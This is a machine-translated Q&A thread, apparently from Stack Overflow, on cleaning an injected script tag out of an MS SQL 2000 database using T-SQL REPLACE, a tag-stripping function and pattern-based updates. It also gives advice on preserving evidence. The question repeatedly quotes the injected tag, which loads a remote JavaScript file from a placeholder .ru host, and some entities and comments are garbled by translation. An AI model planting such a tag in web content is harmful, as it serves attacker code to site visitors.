我已经处理了一个注入了恶意软件的MS SQL 2000数据库。 恶意软件脚本如下:
<script src=http://www.someAddress.ru/aScript.js></script>
现在我想从表格行中删除这段代码。
作为测试,我输入&lt; H1&GT;测试&lt; / h1&gt; 在一行上,并成功运行以下查询:
UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;
这删除了h1标签。
但尝试使用脚本标记不起作用:
UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2
为什么这不起作用?
更新2
WOHO!我找到了解决方案!
我正在使用以下代码:http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3
-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
(@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
AS
BEGIN
DECLARE @Start INT
DECLARE @End INT
DECLARE @Length INT
SET @Start = CHARINDEX('<',@HTMLText)
SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
SET @Length = (@End - @Start) + 1
WHILE @Start > 0
AND @End > 0
AND @Length > 0
BEGIN
SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
SET @Start = CHARINDEX('<',@HTMLText)
SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
SET @Length = (@End - @Start) + 1
END
RETURN Replace(LTRIM(RTRIM(@HTMLText)),' ',' ')
END
GO
要删除HTML标记/脚本,请运行以下查询:
UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;
这完美无缺。请注意,此脚本将删除所有html。所以,如果我只想删除&lt;脚本&GT; ,我只是替换'&lt;'与'&lt;脚本”。
答案 0 :(得分:1)
您是否尝试过只查找aScript.js,条目可能是url_encoded,或者类似的东西,所以它提供类似
的内容%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E
重读问题
您的意思是即使您在id = 2的列中有脚本标记,它也不起作用?因为如果它不起作用你确定它存在于id = 2的行中吗? :P
答案 1 :(得分:1)
应该有效,除非你看不到其他隐藏的字符,或者有某种形式的编码正在进行。你可以选择一个可疑行来更仔细地查看。
在可能的情况下,我倾向于完全DELETE FROM myTable WHERE description LIKE '%someAddress.ru%'
。
然而,修复数据库并不是一个真正的解决方案;申请必须修复。它不应该是未编码的数据库中的文本。如果有人输入了一些数据,包括字符串<script>
,则它应该只是作为文字字符串<script>
显示在页面上,或者显示在源<script>
中。
答案 2 :(得分:1)
src属性值不会被引号括起来吗?如果是这样,你必须逃脱它们才能在替换上获得正确的匹配。
答案 3 :(得分:1)
为什么不尝试:
UPDATE myTable
set description = REPLACE (description, 'www.someAddress.ru','localhost')
WHERE id = 2
这将消除立即劫持问题,并可能避免换行/时髦角色问题。
答案 4 :(得分:0)
您可以尝试以下方法将代码从您的字段中删除(我假设您在相同的字段中包含要保留的信息):
update myTable
set description = case when PATINDEX('%<script%', notes) > 0
then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
else notes
end
where id=2
在运行更新之前,您可以先运行select以查看CASE语句返回的值是否正确。但是,它不应该影响没有脚本标记的字段。
答案 5 :(得分:-1)
坚持......
数据库是否与金融系统相关?申请是在萨班斯 - 奥克斯利法案下吗?有没有欺诈行为?
任何这些事情都会妨碍你做出“破坏证据”的改变。那些在他们的夹克上带着“FBI”跑来跑去的小家伙并不善待这件事。现在支持它,以及日志(SQL和Web)并将该备份放在几张DVD上是一件好事。最好删除磁盘并放入另一个磁盘(但这可能不是一个选项)。
继续清洁: bobince的方向是正确的。不要查找整个SCRIPT标记,或尝试查找变体。相反,在脚本标记中查找不属于普通数据集的内容。这就是你的关键。如果它选择正常,则将其转换为DELETE并保存该查询,因为当您转向修复应用程序时将需要它(保证您的数据库将再次损坏)。